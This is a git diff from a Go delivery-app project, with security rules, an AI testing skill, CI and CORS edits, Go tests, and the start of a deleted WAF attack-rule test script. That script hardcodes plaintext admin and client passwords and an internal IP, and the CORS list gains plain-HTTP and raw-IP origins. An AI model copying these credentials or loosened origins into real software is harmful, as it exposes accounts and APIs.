|
||||
## Infrastructure
|
||||
|
||||
- PostgreSQL et Redis ne sont **jamais** exposés publiquement — accessibles uniquement via le VPN WireGuard (`10.0.0.0/24`) depuis `prod-uber`. Ne jamais suggérer d'ouvrir ces ports sur l'IP publique, même temporairement pour du debug.
|
||||
- Les secrets (`.env`, clés JWT, `NOWPAYMENTS_IPN_SECRET`, `TELEGRAM_WEBHOOK_SECRET`) ne doivent jamais apparaître dans un commit, un log applicatif, ou une réponse API d'erreur.
|
||||
- Le WAF (nginx + ModSecurity OWASP CRS) est le point d'entrée public — toute modification de routes ou de headers doit rester compatible avec ses règles (CSP, HSTS, TLS 1.2/1.3).
|
||||
- SSH restreint au VPN sur les serveurs sensibles (`monitoring-uber`, `backup-mln`, `bdd-redis-prod`) — jump host via `vpn-uber`. Ne jamais recommander de désactiver cette restriction.
|
||||
|
||||
## Checklist rapide avant de merger un changement sensible
|
||||
|
||||
Pour tout endpoint touchant argent, stock, statut de commande, ou compte utilisateur :
|
||||
|
||||
- [ ] Rôle **et** propriété de la ressource vérifiés (pas l'un sans l'autre)
|
||||
- [ ] Entrées validées (bornes numériques, longueur de chaîne, whitelist de statuts)
|
||||
- [ ] Requêtes paramétrées, aucune concaténation SQL
|
||||
- [ ] Opération idempotente si l'action peut être rejouée (retry réseau, double-tap, webhook dupliqué)
|
||||
- [ ] Transaction + verrou (`FOR UPDATE`) si lecture-puis-décision-puis-écriture sur une valeur partagée
|
||||
- [ ] Pas de nouveau secret ou donnée sensible loggé en clair
|
||||
- [ ] Si paiement crypto impliqué : signature webhook vérifiée avant tout traitement
|
||||
@@ -1,145 +0,0 @@
|
||||
---
|
||||
name: test-logique-metier
|
||||
description: À lancer systématiquement à la fin de l'implémentation de toute fonctionnalité touchant à la logique métier (stock, commandes, paiements, points, parrainage, pénalités). Démarre l'API en local, exécute une série de scénarios réels via curl contre l'API, et vérifie en base que les invariants métier tiennent (stock décrémenté puis remboursé exactement, idempotence, autorisations par rôle). Ne se contente pas de lire le code — observe le comportement réel.
|
||||
---
|
||||
|
||||
# Test de logique métier — vérification comportementale locale
|
||||
|
||||
Ce skill exécute des tests **de bout en bout contre une instance locale de l'API**, pas une relecture de code. Objectif : détecter les bugs de la classe "le code compile et semble correct, mais le comportement observé diverge" — exactement le type de bugs trouvés et corrigés dans ce projet (stock jamais décrémenté, double remboursement, commande fantôme). S'appuie sur les règles métier du skill `comprehension-metier` : le lire d'abord si ce n'est pas déjà fait.
|
||||
|
||||
**Ne jamais exécuter ces tests contre la base pre-prod ou prod.** Uniquement contre un environnement local jetable.
|
||||
|
||||
## Quand l'utiliser
|
||||
|
||||
- À la fin de l'implémentation de toute fonctionnalité qui touche : stock, cycle de vie d'une commande, paiement (cash/crypto), points/récompenses, parrainage, pénalités, permissions par rôle.
|
||||
- Après toute correction de bug dans ces domaines (pour confirmer la correction ET l'absence de régression sur les cas adjacents).
|
||||
- Complément du skill `plan-fonctionnalite` (étape "plan de test" de ce skill) — celui-ci l'exécute réellement au lieu de rester une liste sur papier.
|
||||
- Ne pas l'utiliser pour un changement purement cosmétique ou un fix qui ne touche aucune règle métier.
|
||||
|
||||
## Étape 0 — Préparer l'environnement local
|
||||
|
||||
```bash
|
||||
# 1. Postgres + Redis locaux (depuis backend/gestion/)
|
||||
cd backend/gestion
|
||||
docker compose up -d
|
||||
docker compose ps # attendre "healthy" sur les deux services
|
||||
|
||||
# 2. Variables d'environnement minimales (adapter aux valeurs du .env local)
|
||||
export DB_HOST=localhost DB_PORT=5432 DB_USER=postgres DB_PASSWORD=postgres DB_NAME=<db_name>
|
||||
export REDIS_HOST=localhost REDIS_PORT=6379 REDIS_PASSWORD=<redis_password>
|
||||
export USER_JWT_SECRET=$(openssl rand -hex 32)
|
||||
export ADMIN_JWT_SECRET=$(openssl rand -hex 32)
|
||||
|
||||
# 3. Lancer l'API (dans un terminal séparé ou en arrière-plan)
|
||||
go run main.go # écoute sur :8080, crée les tables au démarrage (createTables)
|
||||
```
|
||||
|
||||
Vérifier que l'API répond avant de continuer :
|
||||
```bash
|
||||
curl -sf http://localhost:8080/api/v1/app-settings > /dev/null && echo "API up"
|
||||
```
|
||||
|
||||
## Étape 1 — Obtenir un compte admin de test
|
||||
|
||||
**La création d'un compte admin est volontairement bloquée via l'API** (voir `comprehension-metier`) — impossible d'obtenir un token admin par un simple appel HTTP. Il faut l'insérer directement en base locale (jetable, jamais en pre-prod/prod) :
|
||||
|
||||
```bash
|
||||
# Générer un hash bcrypt pour le mot de passe de test
|
||||
HASH=$(go run -exec "" - <<'EOF' 2>/dev/null || python3 -c "import bcrypt; print(bcrypt.hashpw(b'TestPass123!', bcrypt.gensalt()).decode())"
|
||||
package main
|
||||
import ("fmt"; "golang.org/x/crypto/bcrypt")
|
||||
func main() {
|
||||
h, _ := bcrypt.GenerateFromPassword([]byte("TestPass123!"), bcrypt.DefaultCost)
|
||||
fmt.Println(string(h))
|
||||
}
|
||||
EOF
|
||||
)
|
||||
|
||||
docker exec -i gestion_postgres psql -U postgres -d <db_name> -c \
|
||||
"INSERT INTO users (username, password, role) VALUES ('test_admin', '$HASH', 'admin') ON CONFLICT (username) DO NOTHING;"
|
||||
```
|
||||
|
||||
Puis se connecter normalement :
|
||||
```bash
|
||||
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/admin/auth/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"test_admin","password":"TestPass123!"}' | jq -r .access_token)
|
||||
```
|
||||
|
||||
À partir de ce token admin, créer les comptes de test nécessaires **via l'API** (c'est le chemin normal) : client de test, livreur de test, cabine de test — jamais par insertion SQL directe pour ceux-là, afin de tester le vrai chemin de création.
|
||||
|
||||
## Étape 2 — Méthode générale
|
||||
|
||||
Pour chaque scénario : **agir via l'API (curl)**, puis **vérifier l'état réel en base** (`docker exec gestion_postgres psql ...`) plutôt que de se fier uniquement à la réponse HTTP — une réponse 200 ne prouve pas que l'effet de bord a eu lieu correctement.
|
||||
|
||||
Gabarit de vérification stock :
|
||||
```bash
|
||||
docker exec -i gestion_postgres psql -U postgres -d <db_name> -t -c \
|
||||
"SELECT stock FROM products WHERE id = $PRODUCT_ID;"
|
||||
```
|
||||
|
||||
Toujours noter le stock **avant** l'action, exécuter l'action, relire le stock **après**, et comparer à la valeur attendue calculée manuellement (pas juste "différent de avant").
|
||||
|
||||
## Étape 3 — Scénarios à exécuter
|
||||
|
||||
### Stock — commande normale
|
||||
1. Créer un produit avec stock connu (ex. 10).
|
||||
2. Client ajoute 3 unités au panier, checkout.
|
||||
3. Vérifier : stock produit = 7 exactement.
|
||||
4. Client annule la commande.
|
||||
5. Vérifier : stock produit = 10 exactement (retour à la valeur initiale).
|
||||
|
||||
### Stock — articles récompense
|
||||
1. Configurer un pool de points avec un seuil bas et un `RewardItem` pointant vers un produit à stock connu.
|
||||
2. Faire gagner assez de points au client de test (achats successifs), puis réclamer la récompense (`ClaimMyReward`).
|
||||
3. Checkout incluant l'article récompense.
|
||||
4. Vérifier : stock décrémenté de la quantité offerte, **comme un article payant**.
|
||||
5. Annuler la commande → vérifier stock restauré exactement.
|
||||
|
||||
### Stock — idempotence de l'annulation
|
||||
1. Créer une commande, la faire annuler une première fois (client, livreur, ou admin — tester les trois chemins séparément).
|
||||
2. Rejouer le même appel d'annulation une seconde fois sur la même commande.
|
||||
3. Vérifier : le second appel ne modifie **pas** le stock une seconde fois (comparer stock après 1er appel et après 2e appel — doivent être identiques), et renvoie une réponse cohérente (pas une erreur qui laisserait croire à un échec silencieux).
|
||||
|
||||
### Stock — commande fantôme / double-submit
|
||||
1. Vider le panier d'un client, y ajouter un article dont le stock est juste suffisant pour une seule commande (ex. stock = 2, quantité demandée = 2).
|
||||
2. Envoyer **deux requêtes de checkout quasi simultanées** pour ce même client (deux processus curl en parallèle, `&` en shell).
|
||||
3. Vérifier : une seule commande a réellement décrémenté le stock, l'autre échoue proprement (panier vide ou stock insuffisant) — **aucune commande "pending" orpheline** ne doit rester en base avec des `command_items` mais un stock jamais décrémenté pour elle.
|
||||
|
||||
### Paiement crypto
|
||||
1. Checkout avec `payment_method: crypto` → vérifier statut `pending_payment` et stock déjà décrémenté à ce stade.
|
||||
2. Simuler le webhook IPN avec statut `failed` (signature HMAC valide requise — générer avec le secret de test) → vérifier commande `cancelled` et stock restauré.
|
||||
3. Répéter avec statut `finished` sur une nouvelle commande → vérifier commande repasse en `pending` (cycle normal), stock reste décrémenté.
|
||||
4. Renvoyer deux fois le même webhook `failed` → vérifier pas de double remboursement.
|
||||
|
||||
### Parrainage
|
||||
1. Lier un parrain à un client, vérifier `referral_balance` du parrain crédité du montant configuré (`ReferralAmount`).
|
||||
2. Checkout du filleul avec crédit parrainage utilisé, panier tout juste au-dessus du minimum de zone + crédit → vérifier acceptation ; en dessous → vérifier rejet avec message explicite.
|
||||
3. Faire échouer le checkout après débit du crédit (ex. stock insuffisant découvert tardivement) → vérifier que `referral_balance` est recrédité, pas perdu.
|
||||
|
||||
### Points et récompenses
|
||||
1. Vérifier que les points s'accumulent dans le bon pool selon la catégorie du produit acheté (pas dans tous les pools).
|
||||
2. Réclamer une récompense au-delà du nombre disponible → vérifier rejet.
|
||||
3. Reset admin des récompenses réclamées d'un client → vérifier que le compteur repart à zéro et que de nouvelles réclamations redeviennent possibles.
|
||||
|
||||
### Pénalités
|
||||
1. Simuler 4 annulations successives du même client (avec livreur assigné + statut `en_route`/`arrived` pour déclencher la pénalité) → vérifier progression exacte du barème (20€, 50€, 100€, 150€ ou barème configuré).
|
||||
2. Avec `amende > 0`, tenter un checkout → vérifier blocage 403 avec message contact.
|
||||
3. Simuler le flux "client absent" (livreur annule depuis `arrived`) → vérifier pénalité appliquée au **client**, jamais au livreur.
|
||||
4. Annulation sans livreur assigné → vérifier absence de pénalité.
|
||||
|
||||
### Permissions par rôle
|
||||
1. Token livreur A tente d'agir sur une commande assignée à livreur B → vérifier 403 (pas seulement vérification du rôle, vérification de la propriété).
|
||||
2. Token client tente d'accéder à une route admin → 403.
|
||||
3. Vérifier qu'aucun endpoint ne permet de créer un compte `admin` via l'API (tenter et confirmer le rejet/l'absence de route).
|
||||
4. Vérifier que le livreur ne reçoit jamais le téléphone du client dans `GET /livreur/deliveries`.
|
||||
|
||||
## Étape 4 — Rapport et suite
|
||||
|
||||
Pour chaque scénario : **PASS** ou **FAIL** avec la preuve chiffrée (valeurs avant/après). En cas de FAIL, ce n'est pas la fin du skill — revenir au code, corriger, puis **relancer uniquement les scénarios concernés** (pas besoin de tout rejouer) jusqu'à ce que tout passe. Ne jamais considérer une fonctionnalité "terminée" avec un scénario en FAIL non expliqué.
|
||||
|
||||
## Nettoyage
|
||||
|
||||
```bash
|
||||
docker compose down -v # supprime aussi les volumes (base de test jetable)
|
||||
```
|
||||
@@ -68,7 +68,7 @@ jobs:
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
file: ${{ github.ref == 'refs/heads/main' && 'docker-prod/backend/Dockerfile' || 'docker-pre-prod/backend/Dockerfile' }}
|
||||
file: docker-prod/backend/Dockerfile
|
||||
target: runtime
|
||||
push: true
|
||||
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'latest' || 'pre-prod' }}
|
||||
@@ -78,7 +78,7 @@ jobs:
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
file: ${{ github.ref == 'refs/heads/main' && 'docker-prod/backend/Dockerfile' || 'docker-pre-prod/backend/Dockerfile' }}
|
||||
file: docker-prod/backend/Dockerfile
|
||||
target: waf
|
||||
push: true
|
||||
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'waf' || 'waf-pre-prod' }}
|
||||
|
||||
+8
-2
@@ -61,7 +61,7 @@ jobs:
|
||||
echo "profile=production" >> $GITHUB_OUTPUT
|
||||
echo "channel=production-admin" >> $GITHUB_OUTPUT
|
||||
echo "api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=https://mln-uber.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_url=https://ota-prod.uber-stup.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PROD }}" >> $GITHUB_OUTPUT
|
||||
echo "apk_name=admin-panel-production-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
||||
@@ -70,7 +70,7 @@ jobs:
|
||||
echo "profile=pre-prod" >> $GITHUB_OUTPUT
|
||||
echo "channel=pre-prod-admin" >> $GITHUB_OUTPUT
|
||||
echo "api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=https://5.181.0.112.nip.io" >> $GITHUB_OUTPUT
|
||||
echo "xavia_url=https://ota-preprod.uber-stup.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PREPROD }}" >> $GITHUB_OUTPUT
|
||||
echo "apk_name=admin-panel-pre-prod-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
||||
@@ -84,6 +84,12 @@ jobs:
|
||||
mv app.tmp.json app.json
|
||||
|
||||
- name: Select code signing certificate
|
||||
# certs/certificate.pem (committé) correspond à la clé de signature
|
||||
# du serveur OTA de production ; le serveur pre-prod signe avec une
|
||||
# clé différente (PRIVATE_KEY_PREPROD côté ota-uber), donc les builds
|
||||
# pre-prod doivent embarquer certs/certificate-preprod.pem à la place,
|
||||
# sous peine de voir toute MAJ OTA rejetée silencieusement (signature
|
||||
# invalide) sur ce canal.
|
||||
working-directory: frontend-admin
|
||||
run: |
|
||||
if [ "${{ steps.config.outputs.profile }}" = "pre-prod" ]; then
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
file: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'docker-prod/frontend/Dockerfile' || 'docker-pre-prod/frontend/Dockerfile' }}
|
||||
file: docker-prod/frontend/Dockerfile
|
||||
push: true
|
||||
tags: xor1234/frontend-mln:${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'latest' || 'pre-prod' }}
|
||||
build-args: |
|
||||
|
||||
+6
-4
@@ -1,8 +1,10 @@
|
||||
# Expo local state (in sub-projects)
|
||||
**/.expo/
|
||||
test_address.sh
|
||||
easpip
|
||||
ansible/
|
||||
dist/
|
||||
monitoring
|
||||
docker-prod/
|
||||
.ssh
|
||||
mc_utilisation
|
||||
frontend-prep2/
|
||||
scripts/data.txt
|
||||
scripts/data2.txt
|
||||
scripts/data3.txt
|
||||
|
||||
@@ -18,6 +18,7 @@ func (d *Database) CheckAddress(addressByUser *models.Command) error {
|
||||
return fmt.Errorf("checkAddress: %w", result.Error)
|
||||
}
|
||||
|
||||
// Pas de correspondance exacte — fallback sur une comparaison normalisée
|
||||
// (accents/casse/espaces) pour rattraper les variantes mineures de saisie.
|
||||
corrections, err := d.AllAddress()
|
||||
if err != nil {
|
||||
|
||||
@@ -40,6 +40,7 @@ func (d *Database) InsertCommandItemsBatch(items []commandItemFull) error {
|
||||
|
||||
// ============================================
|
||||
// VALIDATION HELPERS
|
||||
// ============================================
|
||||
|
||||
func validateCommandID(commandID int) error {
|
||||
if commandID <= 0 {
|
||||
@@ -232,6 +233,7 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
ProductID *int64 `gorm:"column:product_id"`
|
||||
Quantite float64 `gorm:"column:quantite"`
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
ClientUsername string `gorm:"column:client_username"`
|
||||
@@ -261,6 +263,7 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
ci.product_id,
|
||||
ci.quantite,
|
||||
ci.prix,
|
||||
ci.promo_discount,
|
||||
ci.is_reward,
|
||||
ci.reward_pool_key,
|
||||
ci.client_username,
|
||||
@@ -309,6 +312,7 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
"product_id": productIDValue,
|
||||
"quantite": row.Quantite,
|
||||
"prix": row.Prix,
|
||||
"promo_discount": row.PromoDiscount,
|
||||
"is_reward": row.IsReward,
|
||||
"reward_pool_key": row.RewardPoolKey,
|
||||
"client_username": row.ClientUsername,
|
||||
@@ -352,6 +356,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
ProductID *int64 `gorm:"column:product_id"`
|
||||
Quantite float64 `gorm:"column:quantite"`
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
ClientUsername string `gorm:"column:client_username"`
|
||||
@@ -376,7 +381,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
err := d.GDB.Raw(`
|
||||
SELECT
|
||||
ci.id, ci.command_id, ci.produit, ci.product_id,
|
||||
ci.quantite, ci.prix, ci.is_reward, ci.reward_pool_key,
|
||||
ci.quantite, ci.prix, ci.promo_discount, ci.is_reward, ci.reward_pool_key,
|
||||
ci.client_username, ci.client_nom, ci.client_prenom, ci.client_telephone,
|
||||
ci.delivery_address, ci.status, ci.created_at, ci.updated_at,
|
||||
c.status as command_status, c.adresse as command_address,
|
||||
@@ -406,7 +411,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
item := map[string]any{
|
||||
"id": row.ID, "command_id": row.CommandID,
|
||||
"produit": row.Produit, "product_id": productIDValue,
|
||||
"quantite": row.Quantite, "prix": row.Prix,
|
||||
"quantite": row.Quantite, "prix": row.Prix, "promo_discount": row.PromoDiscount,
|
||||
"is_reward": row.IsReward, "reward_pool_key": row.RewardPoolKey,
|
||||
"client_username": row.ClientUsername, "client_nom": row.ClientNom,
|
||||
"client_prenom": row.ClientPrenom, "client_telephone": row.ClientTelephone,
|
||||
|
||||
@@ -76,6 +76,7 @@ func GetMyDeliveries(c *gin.Context) {
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"promo_discount": item["promo_discount"],
|
||||
"is_reward": item["is_reward"],
|
||||
}
|
||||
}
|
||||
@@ -158,6 +159,7 @@ func GetDeliveryDetails(c *gin.Context) {
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
"promo_discount": item["promo_discount"],
|
||||
"is_reward": item["is_reward"],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -166,7 +166,7 @@ func main() {
|
||||
r.Use(sessions.Sessions("mysession", store))
|
||||
|
||||
r.Use(cors.New(cors.Config{
|
||||
AllowOrigins: []string{"https://uber-demo.club"},
|
||||
AllowOrigins: []string{"https://uber-stup.club", "https://5.181.0.112.nip.io", "https://5.181.0.112.nip.io:8080", "https://5.181.0.112.nip.io:8443", "https://mln-uber.club", "http://localhost:5173", "http://5.181.0.112"},
|
||||
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH"},
|
||||
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization", "X-Request-ID"},
|
||||
ExposeHeaders: []string{"Content-Length"},
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"gestion/handlers"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func myDeliveriesContext(username, status string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
url := "/api/v1/livreur/deliveries"
|
||||
if status != "" {
|
||||
url += "?status=" + status
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, url, nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("username", username)
|
||||
c.Set("role", "livreur")
|
||||
return c, rec
|
||||
}
|
||||
|
||||
// Le livreur doit voir qu'un article a bénéficié d'une promotion de prix
|
||||
// (promo_discount > 0), pour pouvoir justifier au client un montant total
|
||||
// inférieur au prix catalogue — voir GetDeliveryDetails/GetMyDeliveries
|
||||
// (backend/gestion/handlers/deleviry.go) et GetCommandItems/GetCommandItemsBatch
|
||||
// (backend/gestion/db/db_command_items.go).
|
||||
func TestGetDeliveryDetails_ExposesPromoDiscountPerItem(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
client := newTestClient(t, "delivpromo_client")
|
||||
livreur := newTestClient(t, "delivpromo_livreur")
|
||||
productID := newTestProduct(t, "DelivPromoDiscount", 20)
|
||||
|
||||
// 3g normalement à 50€, facturés 25€ (-50%) : promo_discount = 25€.
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
||||
cmdID, productID,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
||||
}
|
||||
|
||||
c, rec := deliveryDetailsContext(livreur, cmdID)
|
||||
handlers.GetDeliveryDetails(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
Success bool `json:"success"`
|
||||
Delivery struct {
|
||||
Items []struct {
|
||||
Produit string `json:"produit"`
|
||||
Prix float64 `json:"prix"`
|
||||
PromoDiscount float64 `json:"promo_discount"`
|
||||
} `json:"items"`
|
||||
} `json:"delivery"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success || len(resp.Delivery.Items) != 1 {
|
||||
t.Fatalf("réponse inattendue: body=%s", rec.Body.String())
|
||||
}
|
||||
|
||||
item := resp.Delivery.Items[0]
|
||||
if item.PromoDiscount != 25 {
|
||||
t.Errorf("promo_discount doit être exposé au livreur: got=%.2f want=25.00 (body=%s)", item.PromoDiscount, rec.Body.String())
|
||||
}
|
||||
if item.Prix != 25 {
|
||||
t.Errorf("le prix affiché doit rester le prix déjà réduit facturé: got=%.2f want=25.00", item.Prix)
|
||||
}
|
||||
}
|
||||
|
||||
// Même vérification côté GetMyDeliveries (liste des livraisons), qui passe
|
||||
// par un chemin de requête différent (GetCommandItemsBatch) que
|
||||
// GetDeliveryDetails (GetCommandItems).
|
||||
func TestGetMyDeliveries_ExposesPromoDiscountPerItem(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
client := newTestClient(t, "delivpromo_list_client")
|
||||
livreur := newTestClient(t, "delivpromo_list_livreur")
|
||||
productID := newTestProduct(t, "DelivPromoListDiscount", 20)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
||||
cmdID, productID,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
||||
}
|
||||
|
||||
c, rec := myDeliveriesContext(livreur, "")
|
||||
handlers.GetMyDeliveries(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
Success bool `json:"success"`
|
||||
Deliveries []struct {
|
||||
ID int `json:"id"`
|
||||
Items []struct {
|
||||
PromoDiscount float64 `json:"promo_discount"`
|
||||
} `json:"items"`
|
||||
} `json:"deliveries"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success {
|
||||
t.Fatalf("réponse non successful: body=%s", rec.Body.String())
|
||||
}
|
||||
|
||||
var found bool
|
||||
for _, d := range resp.Deliveries {
|
||||
if d.ID != cmdID {
|
||||
continue
|
||||
}
|
||||
if len(d.Items) != 1 || d.Items[0].PromoDiscount != 25 {
|
||||
t.Fatalf("promo_discount doit être exposé dans GetMyDeliveries: %+v", d.Items)
|
||||
}
|
||||
found = true
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("commande %d introuvable dans la réponse: body=%s", cmdID, rec.Body.String())
|
||||
}
|
||||
}
|
||||
@@ -1,610 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||
# =============================================================================
|
||||
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||
# Usage: ./test-rules.sh
|
||||
# =============================================================================
|
||||
|
||||
# Couleurs pour l'affichage
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
BOLD='\033[1m'
|
||||
|
||||
# Configuration
|
||||
API_BASE_URL="http://172.20.167.237"
|
||||
|
||||
# Credentials Client
|
||||
CLIENT_USERNAME="salut"
|
||||
CLIENT_PASSWORD="salut1234_"
|
||||
CLIENT_TOKEN=""
|
||||
|
||||
# Credentials Admin
|
||||
ADMIN_USERNAME="admin_1768505094"
|
||||
ADMIN_PASSWORD="AdminPass123!"
|
||||
ADMIN_TOKEN=""
|
||||
|
||||
TOTAL_TESTS=0
|
||||
PASSED_TESTS=0
|
||||
FAILED_TESTS=0
|
||||
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
# =============================================================================
|
||||
# Fonctions Utilitaires
|
||||
# =============================================================================
|
||||
|
||||
print_header() {
|
||||
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||
}
|
||||
|
||||
print_section() {
|
||||
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||
}
|
||||
|
||||
print_test() {
|
||||
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||
}
|
||||
|
||||
print_success() {
|
||||
((PASSED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_fail() {
|
||||
((FAILED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_info() {
|
||||
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||
}
|
||||
|
||||
print_warning() {
|
||||
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||
}
|
||||
|
||||
print_response() {
|
||||
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token client
|
||||
http_test_client() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token admin
|
||||
http_test_admin() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
